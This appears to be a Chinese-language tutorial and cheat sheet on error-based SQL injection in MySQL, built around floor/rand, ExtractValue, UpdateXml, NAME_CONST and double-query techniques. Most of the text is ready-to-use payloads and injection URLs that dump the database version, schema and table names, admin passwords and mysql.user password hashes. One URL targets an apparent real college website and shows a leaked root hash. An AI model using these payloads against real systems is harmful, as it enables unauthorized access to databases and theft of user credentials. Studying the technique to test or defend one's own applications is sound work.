MySQL 5.1+ 数据库报错注入利用

在MySQL 5.1+ 数据库上,常用的报错注入利用 1、通过floor报错 可以通过如下一些利用代码 and select 1 from ( select count (*),concat(version(),floor(rand( 0 )* 2 ))x from information_schema.tables group by x)a); a

在MySQL 5.1+ 数据库上,常用的报错注入利用
1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:首先进行正常查询:

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。例如我们需要查询管理员用户名和密码:

Method1:
mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 
 
Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’
 
?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

另外一篇更加详细的

1、通过floor暴错

/*数据库版本*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*简单办法暴库*/

http://www.zuimoban.com/sql.php?id=info()

/*连接用户*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴字段*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴内容*/

http://www.zuimoban.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.zuimoban.com/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www.zuimoban.com/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.zuimoban.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.zuimoban.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
<strong>5、Error based Double Query Injection</strong> (http://www.vaibs.in/error-based-double-query-injection/)

/*数据库版本*/

http://www.zuimoban.com/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
